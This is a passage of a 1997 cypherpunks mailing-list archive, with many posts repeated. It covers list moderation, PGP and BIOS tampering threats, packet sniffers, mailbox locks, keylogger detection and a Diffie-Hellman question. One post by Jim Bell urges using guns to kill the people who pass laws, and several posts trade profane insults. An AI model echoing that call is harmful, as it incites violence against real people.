oldies. But not everyone is as interested & willing (or have the time) to re-iterate this way, and with only one or a few "holding up the ship", so to speak, it leaves a lot of room for wayless bickering degenerating into unproductive ad hominems - ad absurdum, ad nauseam. You, know, Toto, I heard that there's a vacancy in the Cypherpunk Division of History & Philosophy .... .. Blanc From toto at sk.sympatico.ca Sun Feb 2 02:34:15 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 2 Feb 1997 02:34:15 -0800 (PST) Subject: Cyphernomicon by Tim May In-Reply-To: <01BC10AB.F9523E60@king1-10.cnw.com> Message-ID: <32F48A52.66D1@sk.sympatico.ca> blanc wrote: > From: Toto > Hm, well, what's an anarchist to do about other people's psychological > makeup? Hold up a mirror. > Not that I'm condoning centralized management, but I bet I could flame > anyone pretty good yet by-pass the moderator. It's all in the style, you > know. Some people are very delicate about what offends them - I know I > could get on some particular people's nerves any day without trying. An > opportunist can take advantage of another's infirmity by being perfectly > polite while yet excruciatingly annoying. What constitutes a 'flame' seems to depend heavily on whose mouth it comes out of. Jim Choate called me a schizophrenic, and it seemed to be acceptable enough to make the censored list. He tends to call people "Bessie", basically saying they are a Cow, and that also seems acceptable. Personally, I could care less when people want to play footsie-games with flaming, but I think it points out the ludicrousness of having a moderator limiting people to 'childish' insults. I prefer someone screaming at me what a cocksucker I am. Ray Hettinga forwards these long, literate missives advertising this-or-that million dollar a plate conferences, but when he chose to insult me with his own words, the result was an immature blathering which showed questionable literary skills. > Oh, I wasn't condemning Tim's posts as being repetitive and boring - it's > commendable that he would write about the same ideas in fresh new ways, for > the benefit of the newbies and the entertainment of the oldies. > But not everyone is as interested & willing (or have the time) to > re-iterate this way, and with only one or a few "holding up the ship", so > to speak, it leaves a lot of room for wayless bickering degenerating into > unproductive ad hominems - ad absurdum, ad nauseam. There are some good socio/politico posts by a variety of list members who are highly knowlegeable about a range of topics surrounding crypto, but they tend to come sporadically. I suppose that this is because they actually have real lives. > You, know, Toto, I heard that there's a vacancy in the Cypherpunk Division > of History & Philosophy .... I suppose that Sandy might nominate me, just for the pleasure of sitting back and enjoying the flood of, "A Vote of FUCK OFF for Toto" postings. It would be nice, however, to try to twist the rest of the list around to my own world-view. It gets lonely here in the 'rubber room' at the Home, and I could use some company. Toto From frissell at panix.com Sun Feb 2 04:02:32 1997 From: frissell at panix.com (Duncan Frissell) Date: Sun, 2 Feb 1997 04:02:32 -0800 (PST) Subject: IRS Can't Compete Message-ID: <3.0.1.32.19970202070316.0183023c@panix.com> -----BEGIN PGP SIGNED MESSAGE----- Note proof that government agencies are running up against serious problems competing with market actors even though they have the guns. - From today's NYT: February 1, 1997 Leaders of I.R.S. Panel Urge Sweeping Overhaul of Agency By DAVID CAY JOHNSTON The IRS had publicly defended its management of computer modernization until Thursday, when Arthur A. Gross, who was hired last year as an assistant commissioner of the agency to rescue the effort, told the restructuring commission that the new systems being developed "do not work in the real world." Gross also said the IRS lacked the "intellectual capital" to modernize. ["intellectual capital" = brains] Kerrey said that although the modernization project was bigger than any corporate computer system the government would have a hard time hiring the necessary talent to manage the project. "The market is bidding up the price for people who have these skills, and we just can't dole out big salaries," he said. Executives who oversee information systems make as much as $378,000 in salary and bonuses, according to William M. Mercer, the nation's largest pay consulting firm. That is more than twice the highest federal salary and bonus, and corporate information executives typically also get options and other incentive payments. ****************** Translation - since the Feds can't afford to pay CIOs what they're worth, and governments don't offer stock options, they can't get the talent they need to keep up with the market. We are talking about senior management here. If they try and respond by contracting senior management out, eventually the institution disappears as a government institution. DCF -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBMvSCgYVO4r4sgSPhAQHhYAP+N80RhT0efc2seO+P99WLVYMJ8/1Q1R7e CkLY8guJw2PnuQlaGG3lj14mYvTPMitZFsQ4pFnkSzzyF57QN4nXPbXajkNeWao+ Kcr2T3TJa5gZcGv309/I7FbZp2MfaugEjyNoielY12q9qsyuJyCv1l4Uh1L/tq9c wEKoLyMoh5U= =orfk -----END PGP SIGNATURE----- From blancw at cnw.com Sun Feb 2 04:54:17 1997 From: blancw at cnw.com (blanc) Date: Sun, 2 Feb 1997 04:54:17 -0800 (PST) Subject: Libel, Times v. Sullivan Message-ID: <01BC10C5.A58834A0@king1-10.cnw.com> From: Attila T. Hun, member of the Early Bird Consortium of Stray Cats, quoting from the Pages of History: did not the Magna Carta guarantee the right of free speech? Of course, there was not full suffrage at that time, but the Magna Carta is the basis of our common law. [and...] which gets down to just what the hell did my forefathers, and maybe yours, fight for in 1776 if it was not for freedom of speech and assembly, the right to bear arms, to be free from unreasonable search and seizure; and enjoy the protection of law? ................................................ Yes, if the Magna Carta guaranteed a right and the forefathers fought to secure it, why should any of us ever have to lift a finger in our own defense. My contribution to this thread from the Cpunk History & Philosophy Division: a Jewish saying from a book I glanced through of couple of weeks ago, something like: "What good is it to a man who has lost his sight that his ancestors had perfect vision." .. Blanc From frissell at panix.com Sun Feb 2 07:10:48 1997 From: frissell at panix.com (Duncan Frissell) Date: Sun, 2 Feb 1997 07:10:48 -0800 (PST) Subject: IRS Can't Compete Message-ID: <199702021510.HAA24723@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Note proof that government agencies are running up against serious problems competing with market actors even though they have the guns. - From today's NYT: February 1, 1997 Leaders of I.R.S. Panel Urge Sweeping Overhaul of Agency By DAVID CAY JOHNSTON The IRS had publicly defended its management of computer modernization until Thursday, when Arthur A. Gross, who was hired last year as an assistant commissioner of the agency to rescue the effort, told the restructuring commission that the new systems being developed "do not work in the real world." Gross also said the IRS lacked the "intellectual capital" to modernize. ["intellectual capital" = brains] Kerrey said that although the modernization project was bigger than any corporate computer system the government would have a hard time hiring the necessary talent to manage the project. "The market is bidding up the price for people who have these skills, and we just can't dole out big salaries," he said. Executives who oversee information systems make as much as $378,000 in salary and bonuses, according to William M. Mercer, the nation's largest pay consulting firm. That is more than twice the highest federal salary and bonus, and corporate information executives typically also get options and other incentive payments. ****************** Translation - since the Feds can't afford to pay CIOs what they're worth, and governments don't offer stock options, they can't get the talent they need to keep up with the market. We are talking about senior management here. If they try and respond by contracting senior management out, eventually the institution disappears as a government institution. DCF -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBMvSCgYVO4r4sgSPhAQHhYAP+N80RhT0efc2seO+P99WLVYMJ8/1Q1R7e CkLY8guJw2PnuQlaGG3lj14mYvTPMitZFsQ4pFnkSzzyF57QN4nXPbXajkNeWao+ Kcr2T3TJa5gZcGv309/I7FbZp2MfaugEjyNoielY12q9qsyuJyCv1l4Uh1L/tq9c wEKoLyMoh5U= =orfk -----END PGP SIGNATURE----- From dlv at bwalk.dm.com Sun Feb 2 07:11:25 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 2 Feb 1997 07:11:25 -0800 (PST) Subject: Key Security Question In-Reply-To: <199702020557.XAA17186@manifold.algebra.com> Message-ID: ichudov at algebra.com (Igor Chudov @ home) writes: > Dr.Dimitri Vulis KOTM wrote: > > Bill Stewart writes: > > > On the other hand, if the "repairman" replaced your pgp executable > > > with version 2.6.3kgb, which uses your hashed passphrase as the > > > session key, you're hosed. Or if he installed a keystroke sniffer, > > > or added a small radio transmitter to your keyboard, or whatever. > > > Depends on your threat model. If you need to be paranoid, > > > they've already gotten you.... > > > > If you're really paranoid, you can boot from a clean floppy and > > reinstall everything from your backup tapes. You do have a > > contingency plan in case your hard disk goes bad, or gets a > > virus, don't you? Well, if you're in doubt, exercise it. > > And what if the repairman replaces BIOS ROM chips with KGBios? On some computers it's possible to add executable code to the boot sequence without replacing the actual ROM chip because they're rewritiable. Examples: most Sun boxes; intel motherboards with 'flash bios'. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From blancw at cnw.com Sun Feb 2 07:12:28 1997 From: blancw at cnw.com (blanc) Date: Sun, 2 Feb 1997 07:12:28 -0800 (PST) Subject: Libel, Times v. Sullivan Message-ID: <199702021512.HAA24745@toad.com> From: Attila T. Hun, member of the Early Bird Consortium of Stray Cats, quoting from the Pages of History: did not the Magna Carta guarantee the right of free speech? Of course, there was not full suffrage at that time, but the Magna Carta is the basis of our common law. [and...] which gets down to just what the hell did my forefathers, and maybe yours, fight for in 1776 if it was not for freedom of speech and assembly, the right to bear arms, to be free from unreasonable search and seizure; and enjoy the protection of law? ................................................ Yes, if the Magna Carta guaranteed a right and the forefathers fought to secure it, why should any of us ever have to lift a finger in our own defense. My contribution to this thread from the Cpunk History & Philosophy Division: a Jewish saying from a book I glanced through of couple of weeks ago, something like: "What good is it to a man who has lost his sight that his ancestors had perfect vision." .. Blanc From toto at sk.sympatico.ca Sun Feb 2 07:14:10 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 2 Feb 1997 07:14:10 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <199702021514.HAA24774@toad.com> blanc wrote: > From: Toto > Hm, well, what's an anarchist to do about other people's psychological > makeup? Hold up a mirror. > Not that I'm condoning centralized management, but I bet I could flame > anyone pretty good yet by-pass the moderator. It's all in the style, you > know. Some people are very delicate about what offends them - I know I > could get on some particular people's nerves any day without trying. An > opportunist can take advantage of another's infirmity by being perfectly > polite while yet excruciatingly annoying. What constitutes a 'flame' seems to depend heavily on whose mouth it comes out of. Jim Choate called me a schizophrenic, and it seemed to be acceptable enough to make the censored list. He tends to call people "Bessie", basically saying they are a Cow, and that also seems acceptable. Personally, I could care less when people want to play footsie-games with flaming, but I think it points out the ludicrousness of having a moderator limiting people to 'childish' insults. I prefer someone screaming at me what a cocksucker I am. Ray Hettinga forwards these long, literate missives advertising this-or-that million dollar a plate conferences, but when he chose to insult me with his own words, the result was an immature blathering which showed questionable literary skills. > Oh, I wasn't condemning Tim's posts as being repetitive and boring - it's > commendable that he would write about the same ideas in fresh new ways, for > the benefit of the newbies and the entertainment of the oldies. > But not everyone is as interested & willing (or have the time) to > re-iterate this way, and with only one or a few "holding up the ship", so > to speak, it leaves a lot of room for wayless bickering degenerating into > unproductive ad hominems - ad absurdum, ad nauseam. There are some good socio/politico posts by a variety of list members who are highly knowlegeable about a range of topics surrounding crypto, but they tend to come sporadically. I suppose that this is because they actually have real lives. > You, know, Toto, I heard that there's a vacancy in the Cypherpunk Division > of History & Philosophy .... I suppose that Sandy might nominate me, just for the pleasure of sitting back and enjoying the flood of, "A Vote of FUCK OFF for Toto" postings. It would be nice, however, to try to twist the rest of the list around to my own world-view. It gets lonely here in the 'rubber room' at the Home, and I could use some company. Toto From dlv at bwalk.dm.com Sun Feb 2 07:24:57 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 2 Feb 1997 07:24:57 -0800 (PST) Subject: Cyphernomicon by Tim May In-Reply-To: <32F428CD.AB9@gte.net> Message-ID: Dale Thorn writes: > I ask you again to look at the motives of the people involved. John > Gilmore isn't about to waste a second of his personal time "moderating" > this list (who could blame him?), and I can't for the life of me see > a reason why Sandy would want to devote so much time to it. Have you > or anyone seen a real reason why Sandy would want to do this? You know one reason: Sandy makes sure that submissions critical of his employer don't appear on *either* the censored or the flames list (but result in lawyer letters). There probably are other reasons. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From cynthb at homer.sonetis.com Sun Feb 2 07:30:12 1997 From: cynthb at homer.sonetis.com (Cynthia H. Brown) Date: Sun, 2 Feb 1997 07:30:12 -0800 (PST) Subject: Trigger-Words... Message-ID: <199702021530.KAA01205@homer.iosphere.net> -----BEGIN PGP SIGNED MESSAGE----- On Wed, 29 Jan 1997, harka at nycmetro.com queried: > Actually, I might not have chosen the correct words for what I > wanted... > I am looking for sniffer-programs, that analyze e-mail traffic on > the Net and filtering out all e-mails potentially interesting for > _intelligence services_. For example, I've heard, that if an e-mail > contains the words: "assassinate President" (DISCLAIMER: I hope, our > President lives a long and happy life, even after his > impeachment...:)), it will automatically get filtered and checked > out by the Secret Service. > Different intelligence agencies might have similar things in place. > Where could I get some more information about that? Many Un*xes (SunOS, Solaris, IRIX, Linux, and probably others) have included their own versions of sniffers, supposedly for network debugging. These are typically called something like "tcpdump", "etherfind", "snoop", etc. You would need to run a sniffer at a "choke point" of an organisation, for example the external router to the Internet, to capture all of the packets to / from that organisation. Putting a sniffer on some arbitrary router out there in cloud-land would probably not be all that productive, since there's no guarantee that all of the IP packets carrying a given TCP connection would take the same route. Cynthia -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: cp850 iQCVAwUBMvSyq5Og7xGCJGQtAQFJPwQAiXbxtfdfVEDL5ZHdktdy6bfH/Wmio3oU J1bYKpfwY4H4NnIoXipGF+oo48Pe4j8x46UneVZ8d4ZsSy93/JsvmQw38TxSj/8o cPbtIaagBw9eofsdimzlwx9Y0VvaTRWt+2Cjd8aQKmG5nwUBSF9BlFoX2/TU3QZY IP+hiecLaag= =rHlB -----END PGP SIGNATURE----- =============================================================== Cynthia H. Brown Ottawa, Ontario, Canada E-mail: cynthb at sonetis.com Home Page: http://www.sonetis.com/~cynthb/ PGP Key: See Home Page Junk mail will be ignored in the order in which it is received. It is morally as bad not to care whether a thing is true or not, so long as it makes you feel good, as it is not to care how you got your money as long as you have got it. - Edmund Way Teale, "Circle of the Seasons" From dlv at bwalk.dm.com Sun Feb 2 07:55:43 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 2 Feb 1997 07:55:43 -0800 (PST) Subject: Key Security Question Message-ID: <199702021555.HAA25423@toad.com> ichudov at algebra.com (Igor Chudov @ home) writes: > Dr.Dimitri Vulis KOTM wrote: > > Bill Stewart writes: > > > On the other hand, if the "repairman" replaced your pgp executable > > > with version 2.6.3kgb, which uses your hashed passphrase as the > > > session key, you're hosed. Or if he installed a keystroke sniffer, > > > or added a small radio transmitter to your keyboard, or whatever. > > > Depends on your threat model. If you need to be paranoid, > > > they've already gotten you.... > > > > If you're really paranoid, you can boot from a clean floppy and > > reinstall everything from your backup tapes. You do have a > > contingency plan in case your hard disk goes bad, or gets a > > virus, don't you? Well, if you're in doubt, exercise it. > > And what if the repairman replaces BIOS ROM chips with KGBios? On some computers it's possible to add executable code to the boot sequence without replacing the actual ROM chip because they're rewritiable. Examples: most Sun boxes; intel motherboards with 'flash bios'. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From cynthb at homer.sonetis.com Sun Feb 2 07:55:48 1997 From: cynthb at homer.sonetis.com (Cynthia H. Brown) Date: Sun, 2 Feb 1997 07:55:48 -0800 (PST) Subject: Trigger-Words... Message-ID: <199702021555.HAA25437@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On Wed, 29 Jan 1997, harka at nycmetro.com queried: > Actually, I might not have chosen the correct words for what I > wanted... > I am looking for sniffer-programs, that analyze e-mail traffic on > the Net and filtering out all e-mails potentially interesting for > _intelligence services_. For example, I've heard, that if an e-mail > contains the words: "assassinate President" (DISCLAIMER: I hope, our > President lives a long and happy life, even after his > impeachment...:)), it will automatically get filtered and checked > out by the Secret Service. > Different intelligence agencies might have similar things in place. > Where could I get some more information about that? Many Un*xes (SunOS, Solaris, IRIX, Linux, and probably others) have included their own versions of sniffers, supposedly for network debugging. These are typically called something like "tcpdump", "etherfind", "snoop", etc. You would need to run a sniffer at a "choke point" of an organisation, for example the external router to the Internet, to capture all of the packets to / from that organisation. Putting a sniffer on some arbitrary router out there in cloud-land would probably not be all that productive, since there's no guarantee that all of the IP packets carrying a given TCP connection would take the same route. Cynthia -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: cp850 iQCVAwUBMvSyq5Og7xGCJGQtAQFJPwQAiXbxtfdfVEDL5ZHdktdy6bfH/Wmio3oU J1bYKpfwY4H4NnIoXipGF+oo48Pe4j8x46UneVZ8d4ZsSy93/JsvmQw38TxSj/8o cPbtIaagBw9eofsdimzlwx9Y0VvaTRWt+2Cjd8aQKmG5nwUBSF9BlFoX2/TU3QZY IP+hiecLaag= =rHlB -----END PGP SIGNATURE----- =============================================================== Cynthia H. Brown Ottawa, Ontario, Canada E-mail: cynthb at sonetis.com Home Page: http://www.sonetis.com/~cynthb/ PGP Key: See Home Page Junk mail will be ignored in the order in which it is received. It is morally as bad not to care whether a thing is true or not, so long as it makes you feel good, as it is not to care how you got your money as long as you have got it. - Edmund Way Teale, "Circle of the Seasons" From haystack at holy.cow.net Sun Feb 2 08:00:45 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Sun, 2 Feb 1997 08:00:45 -0800 (PST) Subject: No Subject In-Reply-To: <199702021011.CAA16505@toad.com> Message-ID: <199702021542.KAA27029@holy.cow.net> Someone using the Huge Cajones mailer wrote: David Lesher writes: > USPS uses key locks seemingly designed by Ben Franklin himself. > Look at them someday. FedEx boxes used to have Simplex 926 > 5 pushbutton ""locks"" if you stretch the point. Still did last I checked. Don't let the old-fashioned look deceive you. Most mail storage boxes use lever tumbler locks (similar to what's used in safe deposit vaults, though obviously the mailbox locks have a flimsier plug). How is that obvious? Safe deposit locks generally aren't designed to be hard to open, just hard to open without damage. There's always either a guard or a locked vault door protecting the locks. Mailboxes, on the other hand, generally aren't kept under guard or in vaults. From haystack at holy.cow.net Sun Feb 2 08:55:42 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Sun, 2 Feb 1997 08:55:42 -0800 (PST) Subject: No Subject Message-ID: <199702021655.IAA26447@toad.com> Someone using the Huge Cajones mailer wrote: David Lesher writes: > USPS uses key locks seemingly designed by Ben Franklin himself. > Look at them someday. FedEx boxes used to have Simplex 926 > 5 pushbutton ""locks"" if you stretch the point. Still did last I checked. Don't let the old-fashioned look deceive you. Most mail storage boxes use lever tumbler locks (similar to what's used in safe deposit vaults, though obviously the mailbox locks have a flimsier plug). How is that obvious? Safe deposit locks generally aren't designed to be hard to open, just hard to open without damage. There's always either a guard or a locked vault door protecting the locks. Mailboxes, on the other hand, generally aren't kept under guard or in vaults. From asgaard at cor.sos.sll.se Sun Feb 2 09:12:16 1997 From: asgaard at cor.sos.sll.se (Asgaard) Date: Sun, 2 Feb 1997 09:12:16 -0800 (PST) Subject: Cyphernomicon by Tim May In-Reply-To: <199702020959.BAA16083@toad.com> Message-ID: On Sun, 2 Feb 1997, Declan McCullagh wrote: >That question is one for Tim to answer, but I should point out that TC May hasn't posted in a month or so. I miss his posts. Without any official role he was the de facto moderator, mostly by example but also by pointing out the core of the issues when things went astray, for all those years. Did he mention going away for so long in any of his latest posts? I remember 'for the holiday season' but that is long gone. I hope he hasn't left the list for good, being pissed off by Gilmore's choice of moderator(s) or some such reason. Asgaard From asgaard at Cor.sos.sll.se Sun Feb 2 09:56:19 1997 From: asgaard at Cor.sos.sll.se (Asgaard) Date: Sun, 2 Feb 1997 09:56:19 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <199702021756.JAA27430@toad.com> On Sun, 2 Feb 1997, Declan McCullagh wrote: >That question is one for Tim to answer, but I should point out that TC May hasn't posted in a month or so. I miss his posts. Without any official role he was the de facto moderator, mostly by example but also by pointing out the core of the issues when things went astray, for all those years. Did he mention going away for so long in any of his latest posts? I remember 'for the holiday season' but that is long gone. I hope he hasn't left the list for good, being pissed off by Gilmore's choice of moderator(s) or some such reason. Asgaard From zachb at netcom.com Sun Feb 2 10:15:27 1997 From: zachb at netcom.com (Z.B.) Date: Sun, 2 Feb 1997 10:15:27 -0800 (PST) Subject: Keystroke sniffer question In-Reply-To: <2.2.32.19970202043909.006c8dd0@popd.ix.netcom.com> Message-ID: On Sat, 1 Feb 1997, Scott wrote: > How can you detect if there is a keystroke sniffer on your computer. > All sniffers have to write to disk at some point. You can detect one by checking to see how much disk space you have (DIR on MSDOS), typing a few lines of random characters, and check your disk space again. If it's gone down a little, then you probably have one. > Is there a file name to look for? Try checking in your TEMP directory...the few ones that I've seen default to creating an invisible file in that directory. > Where do people get them? They either buy them or write them. Zach Babayco zachb at netcom.com <-------finger for PGP public key If you need to know how to set up a mail filter or defend against emailbombs, send me a message with the words "get helpfile" (without the " marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!* I have several useful FAQs and documents available. From zachb at netcom.com Sun Feb 2 10:25:44 1997 From: zachb at netcom.com (Z.B.) Date: Sun, 2 Feb 1997 10:25:44 -0800 (PST) Subject: Keystroke sniffer question Message-ID: <199702021825.KAA28058@toad.com> On Sat, 1 Feb 1997, Scott wrote: > How can you detect if there is a keystroke sniffer on your computer. > All sniffers have to write to disk at some point. You can detect one by checking to see how much disk space you have (DIR on MSDOS), typing a few lines of random characters, and check your disk space again. If it's gone down a little, then you probably have one. > Is there a file name to look for? Try checking in your TEMP directory...the few ones that I've seen default to creating an invisible file in that directory. > Where do people get them? They either buy them or write them. Zach Babayco zachb at netcom.com <-------finger for PGP public key If you need to know how to set up a mail filter or defend against emailbombs, send me a message with the words "get helpfile" (without the " marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!* I have several useful FAQs and documents available. From attila at primenet.com Sun Feb 2 10:39:16 1997 From: attila at primenet.com (Attila T. Hun) Date: Sun, 2 Feb 1997 10:39:16 -0800 (PST) Subject: Libel, Times v. Sullivan In-Reply-To: <01BC10C5.A58834A0@king1-10.cnw.com> Message-ID: <199702021838.LAA06964@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970202:0457 blanc said: +Yes, if the Magna Carta guaranteed a right and the forefathers fought +to secure it, why should any of us ever have to lift a finger in our +own defense. seems to me Jefferson said it took a rebellion every 20 years or so to keep democracy awake... other than presuming your answer is tongue in cheek (not elsewhere), complacency == welfare. +My contribution to this thread from the Cpunk History & Philosophy +Division: a Jewish saying from a book I glanced through of couple of +weeks ago, something like: + + "What good is it to a man who has lost his sight + that his ancestors had perfect vision." not a lot, but that does not mean he should scorn those who have managed to retain their sight. your saying is rather characteristic of the genre --best glamourized in Mad magazine. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: Encrypted with 2.6.3i. Requires 2.6 or later. iQCVAwUBMvTfKL04kQrCC2kFAQG48gQA3LCObnHCe09r1jtV/0HbeilmKqSuP7ue lf6yScJiBHCwgm8aGT+NqjmSdvKUlTEfjV4H2zVCfoYyQEh5tMs4LnnDpd4zPL0M EBUrCdu2KBgLQpgbzP9g64cUCsq6LMGsfe7mqKaYYFIUmYJMBLsrYrLtPLPGlJ0S +LRYfJexD1s= =y085 -----END PGP SIGNATURE----- From jimbell at pacifier.com Sun Feb 2 10:48:29 1997 From: jimbell at pacifier.com (jim bell) Date: Sun, 2 Feb 1997 10:48:29 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater Message-ID: <199702021847.KAA17527@mail.pacifier.com> At 12:56 AM 2/2/97 -0500, Black Unicorn wrote: >Please note that the difference between: > >"But he got the same sentence as he would have if he was convicted of >carrying a gun in furtherance of the crime." > >and > >"But he got the same sentence as he would have is he was not convicted of >carrying a gun in furtherance of the crime." > >is subtle at best. > >Next time don't get caught stealing with a gun nearby. Better yet, set up a system to encourage the public to USE those guns (and other weapons) to get rid of the people who pass such laws, and the problem is solved. Jim Bell jimbell at pacifier.com From jya at pipeline.com Sun Feb 2 10:55:05 1997 From: jya at pipeline.com (John Young) Date: Sun, 2 Feb 1997 10:55:05 -0800 (PST) Subject: National Cryptologic School Message-ID: <1.5.4.32.19970202184922.006cda74@pop.pipeline.com> DAW provided this URL: http://csrc.nist.gov/training/in170.zip 1996-04-29 Introduction to Computer Security National Cryptologic School Interactive Courseware Trainee Guide (formerly, CP-133) (37 zipped files, DOS program) We've had a look at this course, a primer on CompSec and a required course for all DoD employees. It takes some fiddling to get past the sign-on block. Hint: after unzipping execute "student.exe" and enter "CP" as the lesson. Repeat for other listed files, CPxxx - CPxxx. It's basic stuff but worthwhile for its claims, these among others: 1. Most hackers are employees of the target. 2. Negligence, accidents and sloppy sys-administration are prime causes of disruptions, perhaps more than deliberate attacks. 3. Environmental weaknesses are often overlooked by security experts too focussed on computer systems. It lists these security documents as references: EO 12356 [superceded by EO 12958] DCID 1/16 [Director of Central Intelligence Directive] DoDDir 5200.28 DoD 5200.28 STD Public Law 100-235 NSA/CSS Dir 10-27 NSA/CSS Manual 130-1 (NSAM 130-1) NSA/CSS Manual 130-2 (NSAM 130-2) NSA/CSS Reg 130-2 NTISSAM COMPSEC 1-87 The Rainbow Series OMB A-130 Does anyone know of a source for the DCID series and the NSA/CSS series? Some of the others are available on the Web -- see AltaVista. While looking for these we ran across an informative implementation of infosec and compsec: Information Systems Accreditation Document, 4 Volumes System Security Requirements for the Department of Defense Intelligence Information System Automated Message Handling System (AMHS) V2.x By: McDonnell Douglas Aerospace For: Electronic Systems Center, Air Force Materiel Command Which we've put at: http://jya.com/amhs.htm From mch at squirrel.com Sun Feb 2 12:37:56 1997 From: mch at squirrel.com (Mark Henderson) Date: Sun, 2 Feb 1997 12:37:56 -0800 (PST) Subject: PGP 2.1 In-Reply-To: <199702021025.CAA16822@toad.com> Message-ID: Larry Johnson writes: > Hello, > Can any;one tell me how to get a version of PGP 2.1? > Thanks > If you are a U.S./Canadian person in the U.S. or Canada you can get 2.1 and most of the release versions of PGP from ftp://ftp.wimsey.com/pub/crypto Easiest thing is to point your web browser to ftp://ftp.wimsey.bc.ca/pub/crypto/software/README.html Then after reading and agreeing to the conditions, click in the appropriate place and descend into the PGP directory. But, why do you want version 2.1? -- Mark Henderson -- mch at squirrel.com, henderso at netcom.com, markh at wimsey.bc.ca PGP key 1024/B2667EFF - 5A 93 7D 29 EB 63 84 09 EA A2 AA 6C FA C5 A6 21 unstrip for Solaris, Wimsey crypto archive, TECO, computer security links, change-sun-hostid, Sun NVRAM/hostid FAQ - http://www.squirrel.com/squirrel/ -------------- next part -------------- A non-text attachment was scrubbed... Name: pgp00000.pgp Type: application/octet-stream Size: 288 bytes Desc: "PGP signature" URL: From aba at dcs.ex.ac.uk Sun Feb 2 14:18:54 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sun, 2 Feb 1997 14:18:54 -0800 (PST) Subject: Geiger and long, unreadable lines In-Reply-To: <199702011740.JAA21963@toad.com> Message-ID: <199701291607.QAA00392@server.test.net> Dimitri Vulis writes on cpunks-flames: > Adam Back writes on cpunks-flames: > > > > Mr William H. Geiger III "Author of E-Secure" writes on cpunks: > > > for the benifit of those misfortunate enough to be still working on > > > dumb terminals I have disabled my PGP script until I have time to add a > > > word wrap routine to it. > > > > it is you who were demonstrating your ineptitude by spewing > > 120+ line length postings. Why is it so difficult for you to keep > > under 80 chars? Would you like some technical assistance? Notice how > > near every one else apart from yourself is managing to keep under 80 > > chars? > > Notice how near every one else apart from yourself bends over for the NSA, > and is willing to use a 40-bit key "escrowed" with the feds? Why is it so > difficult for you to keep under 40 bits? Would you like some technical > assistance? Why are you setting yourself apart from the Internet community > that so happily embraces GAK? Why do you desire "privacy" for your traffic > when everyone else does not? What have you got to hide? Are you looking to > transmit child pornography, bomb-making instructions, and/or cannabis > legalization propaganda? We better have a look at your hard disk soon. btw Dimitri, a crypto question: Diffie-Hellman key generation, there are two main ways of generating the diffie-hellman prime modulus, method 1: p = 2q+1 where q is a prime also. And method 2: p = r.2q+1 where q is a prime and r is a randomly generated number. With method 1, the security parameter is the size of p in bits (or size of q, as they are related). With method 2, there are two security parameters, size of q and size of p in bits. Method 2 has the advantage that key generation is faster as it is quicker to generate new random numbers r, than to repeatedly generate trial prime q as you have to do in method 1. However is the security weaker in method 2? What size of p and q do you have to use to get the same security as for same size of p in bits as in method 1? What should be the relationship between the size of p and q? (this isn't cpunks, this is cpunks-flames, so your non-crypto pledge shouldn't hold, besides Sandy has a stated policy of killing the whole thread, so I thought it amusing to continue your crypto relevance in moving on to technical topics rather than political) Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 At 12:56 AM 2/2/97 -0500, Black Unicorn wrote: >Please note that the difference between: > >"But he got the same sentence as he would have if he was convicted of >carrying a gun in furtherance of the crime." > >and > >"But he got the same sentence as he would have is he was not convicted of >carrying a gun in furtherance of the crime." > >is subtle at best. > >Next time don't get caught stealing with a gun nearby. Better yet, set up a system to encourage the public to USE those guns (and other weapons) to get rid of the people who pass such laws, and the problem is solved. Jim Bell jimbell at pacifier.com From mch at squirrel.com Sun Feb 2 14:25:46 1997 From: mch at squirrel.com (Mark Henderson) Date: Sun, 2 Feb 1997 14:25:46 -0800 (PST) Subject: PGP 2.1 Message-ID: <199702022225.OAA03367@toad.com> Larry Johnson writes: > Hello, > Can any;one tell me how to get a version of PGP 2.1? > Thanks > If you are a U.S./Canadian person in the U.S. or Canada you can get 2.1 and most of the release versions of PGP from ftp://ftp.wimsey.com/pub/crypto Easiest thing is to point your web browser to ftp://ftp.wimsey.bc.ca/pub/crypto/software/README.html Then after reading and agreeing to the conditions, click in the appropriate place and descend into the PGP directory. But, why do you want version 2.1? -- Mark Henderson -- mch at squirrel.com, henderso at netcom.com, markh at wimsey.bc.ca PGP key 1024/B2667EFF - 5A 93 7D 29 EB 63 84 09 EA A2 AA 6C FA C5 A6 21 unstrip for Solaris, Wimsey crypto archive, TECO, computer security links, change-sun-hostid, Sun NVRAM/hostid FAQ - http://www.squirrel.com/squirrel/ --w=NZbzo6Zc1UmsEa Content-Type: APPLICATION/PGP-SIGNATURE Content-ID: -----BEGIN PGP SIGNATURE----- Version: 2.6.3 iQCVAwUBMvT7LaWYCYyyZn7/AQGJmAP/dQs4nQi07UaNGSdx5pJcwppCnq9Uo77B 